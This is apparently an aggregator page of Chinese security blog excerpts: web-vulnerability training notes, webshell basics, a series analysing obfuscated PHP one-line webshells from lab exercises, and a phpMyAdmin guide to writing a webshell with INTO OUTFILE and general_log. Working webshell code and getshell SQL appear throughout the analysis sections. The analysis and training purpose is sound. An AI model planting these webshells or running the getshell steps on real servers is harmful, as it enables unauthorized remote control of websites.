webshell

web安全测试(上)

不羁的心 提交于 2019-12-03 14:50:33
前情提要: 公司的安全测试一直是安全部经理全权负责,测试部只做功能和自动化。 但是2019是公司业绩腾飞的一年,业务量越来越大了,安全部经理实在做不过来。 于是他给整个测试部培训《安全测试》,一来把活分出去,二来增强我们的安全意识和安全测试技能。 但是只学了两节课,把知识点罗列如下,并且题目列为“上篇” 安全测试的内容持续更新中。。。 正文: 一、Web漏洞 暴力破解、文件上传、文件读取下载、SSRF、代码执行、命令执行 逻辑漏洞(数据遍历、越权、认证绕过、金额篡改、竞争条件) 应用层拒绝服务漏洞 人为漏洞:弱口令 漏洞等级如下: 严重 直接获取重要服务器(客户端)权限的漏洞。包括但不限于远程任意命令执行、上传 webshell、可利用远程缓冲区溢出、可利用的 ActiveX 堆栈溢出、可利用浏览器 use after free 漏洞、可利用远程内核代码执行漏洞以及其它因逻辑问题导致的可利用的远程代码执行漏洞; 直接导致严重的信息泄漏漏洞。包括但不限于重要系统中能获取大量信息的SQL注入漏洞; 能直接获取目标单位核心机密的漏洞; 高危 直接获取普通系统权限的漏洞。包括但不限于远程命令执行、代码执行、上传webshell、缓冲区溢出等; 严重的逻辑设计缺陷和流程缺陷。包括但不限于任意账号密码修改、重要业务配置修改、泄露; 可直接批量盗取用户身份权限的漏洞

'文件上传总结'

守給你的承諾、 提交于 2019-12-03 10:27:17
1. WebShell 1.1 什么是Shell Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。因为系统内核使我们不能直接操作的,shell就给我们提供了一个接口,通过shell我们可以把命令送入到内核。shell管理用户与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。 传统意义上的shell指的是命令行式的shell,以后如果不特别注明,shell是指命令行式的shell。 表示用户拥有的权限,不同的shell权限不同 1.2 WebShell 黑客在入侵了一个网站后,通常会留下一个asp或php后门文件与网站web服务器进行交互,得到一个命令执行环境,以达到控制网站服务器的目的。这个后门文件就是所谓的webshell。 2. 木马分类 2.1 一句话木马 一句话木马是Webshell的一种,由于这类Webshell代码比较少,往往只有一行代码,所以就被称为一句话木马。 一句话木马虽然代码简单,但是结合中国菜刀、蚁剑等WebShell管理工具,它们的功能却是非常的强大。 2.1.1 一句话木马工作原理 在PHP、ASP、ASPX中都有可以执行外部程序的函数,一句话木马就是通过这些函数来工作的,由页面传输待执行的命令,函数在远程执行命令。 PHP一句话木马 Copy 1

WebShell代码分析溯源(十一)

只愿长相守 提交于 2019-12-03 09:48:49
WebShell代码分析溯源(十一) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?> 二、代码分析 1、调整代码格式    2、分析代码 2.1、首先使用REQUEST方法接收url中e参数传递的值, 然后执行declare函数和register_tick_function回调函数。没执行ticks=1行代码,就执行一次register_tick_function函数中的代码。 注: register_tick_function函数,这是每个tick上注册一个执行函数,必须要和declare流程控制机制合并使用。Tick是一个在declare代码段中解释器每执行n条低级语句就会发生的事件。n的值是在declare中的directive部分用ticks=n来指定的,在每个tick中出现的事件是由register_tick_function()来指定的。 参考: https://www.php.net/manual/zh/function.register-tick-function.php 2.2、register_tick_function可以看做一个回调函数,第二个参数,就是为该回调的函数传参用的,因此可以构造e

WebShell代码分析溯源(十)

心不动则不痛 提交于 2019-12-03 09:24:40
WebShell代码分析溯源(十) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['REQUEST']);?> 二、代码分析 1、调整代码格式    2、分析代码 1、首先使用REQUEST方法接收url中e参数的值,然后使用register_shutdown_function函数, 其实这就是一个回调函数,在上面的代码运行结束后,再去执行。 注: register_shutdown_function()函数是来注册一个会在PHP中止时执行的函数 参考: https://www.php.net/manual/zh/function.register-shutdown-function.php https://www.jianshu.com/p/2bbbbeca62c8 2、先执行$e = $_REQUEST['e'],再执行$_REQUEST['REQUEST'],此时构造e=assert, 把$_REQUEST['REQUEST']作为参数回调给$e,就构造出一句话木马<?php assert($_REQUEST[‘REQUEST’]);?> 3、此时就可以使用菜刀连接,密码REQUEST 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境

网站后台getshell

孤街浪徒 提交于 2019-12-03 08:32:37
phpmyadmin后台Getshell 获取 web 绝对路径 select @@basedir; 检测是否有写入权限 show global variables like 'secure%' ##查看secure_file_priv值,结果若为NULL,则不能使用loadfile,into outfile进行读写文件 写入webshell secure_file_priv为空 select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\\soft\\phpStudy\\www\\eval.php' secure_file_priv为路径 值为路径时,只能webshell写入此路径 值为null时,不能写入webshell 突破 secure_file_priv限制 mysql中有两个全局变量是我们getshell需要用到的重要变量: general_log general_log_file general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量 show variables like 'general_log%'; 首先打开操作日志记录 set global general_log =

WebShell代码分析溯源(九)

早过忘川 提交于 2019-12-03 07:05:33
WebShell代码分析溯源(九) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');?> 二、代码分析 1、调整代码格式    2、分析代码 1、首先使用REQUEST方法接收url中的e参数的值,创建arr数组,然后array_walk对数组$arr中的每个元素应用用户自定义函数$e 注:,array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。 参考: https://www.w3school.com.cn/php/func_array_walk.asp 2、此时看到’|.*|e’,首先想到的是正则表达式,使用preg_replace()函数, preg_replace() 将 replacement 参数当作 PHP 代码,正则意思为匹配模式出现/e修正符,后面的replacement就会被当作php代码执行, 这样就可以把 $_POST['pass']构造运行,此时一句话木马就变成了<?php preg_replace(“|.*|e”, $_POST['pass'],’’);?> 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源

WebShell代码分析溯源(八)

风格不统一 提交于 2019-12-03 06:42:49
WebShell代码分析溯源(八) 一、一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasort($arr, base64_decode($e));?> 二、代码分析 1、调整代码格式    2、分析代码 首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并赋值,然后使用uasort排序函数,base64_decode($e)进行解密之后的自定义函数对arr数组进行排序,构造成一句话木马base64_decode($_REQUEST['e'])$_REQUEST['POST']。 注:uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键) 参考:https://www.w3school.com.cn/php/func_array_uasort.asp 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第7题)),地址: https://www.mozhe.cn/bug/detail/VDI4bUFTbVpveGJJakdwMHd1OCtzZz09bW96aGUmozhe 2、代码环境,下载代码    3、分析(上面已经分析过了) 4、使用菜刀连接    5、执行一些命令   

WebShell代码分析溯源(七)

梦想与她 提交于 2019-12-03 06:32:15
WebShell代码分析溯源(七) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(base64_decode($e), $arr);?> 二、代码分析 1、调整代码格式    2、分析代码 分析代码,首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$_POST['POST']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e)解密出来的值x,这里假设为x),然后x函数作用于arr数组中的每个值上。 注:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。 参考:https://www.w3school.com.cn/php/func_array_map.asp 3、此时可以构造payload:http://www.test.com/test.php?e=YXNzZXJ0,这时再次分析代码,array_map(base64_decode($e), $arr),就变成了array_map(assert, $arr),assert为自定义函数

微信打开网站被提示已停止访问该网页该如何解决

拟墨画扇 提交于 2019-12-03 04:27:34
今天早晨发现我们公司网站只要在微信和qq中打开,分别被微信提示:已停止访问该网页,该网站链接以及在qq上被提示危险网站,千万别访问,首先先看下微信中打开网址被微信拦截并提示的图: 1.网站被微信拦截已停止访问该网页的原因 不管是网站的首页,还是产品的页面地址,以及在线支付的地址,都会被微信提示:已停止访问该网页,据用户投诉及腾讯网址安全中心检测,该网页包含违法或违规内容。为维护绿色上网环境,已停止访问。有的页面甚至还被提示可能是据用户投诉及腾讯网址安全中心检测,该网页可能包含恶意欺诈内容。 以上两种微信提示,我多次与微信安全中心联系确认,说是因为我们公司网站被黑,并篡改了网站首页并被跳转到博彩网站上,而导致被微信拦截,可是我并没有发现我们公司网站跳转到博彩网站上去啊,怎么检查都没有发现,然后咨询了几个朋友,才明白,原来是需要你从百度搜索点击进来的,才会出现跳转的问题。我立即登录网站ftp,查看了下网站的源代码,有没有近期被改动或可疑的文件,查看到网站首页文件index.html跟index.php头部代码里有被添加了一些加密的代码: 清除掉上面的加密代码,再检查一下通过百度搜索公司网站名称,并点击进入网站,看看是否会被跳转到一些博彩网站上去,如果没有被跳转了,那么说明问题发生在这里。先看下网站目录里被改动的文件本地有无备份,有的话直接上传备份文件来覆盖

WebShell代码分析溯源(六)

丶灬走出姿态 提交于 2019-12-03 04:19:06
WebShell代码分析溯源 一、一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二、代码分析 1、分析代码 call_user_func('assert', $_REQUEST['assert'])中assert是第一个被调用的函数, 其余参数是回调函数的参数,这样就构成了assert($_REQUEST['assert'])一句话木马 注: call_user_func函数,把第一个参数作为回调函数,其余参数是回调函数的参数,参考: https://www.php.net/manual/zh/function.call-user-func.php 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第5题)),地址: https://www.mozhe.cn/bug/detail/RDBTOWFKOTJIODJRWlRwUjdOdlcrUT09bW96aGUmozhe 2、代码环境,下载代码    3、分析(上面已经分析过了) 4、使用菜刀连接    5、执行一些命令       来源: https://www.cnblogs.com/yuzly/p/11751593.html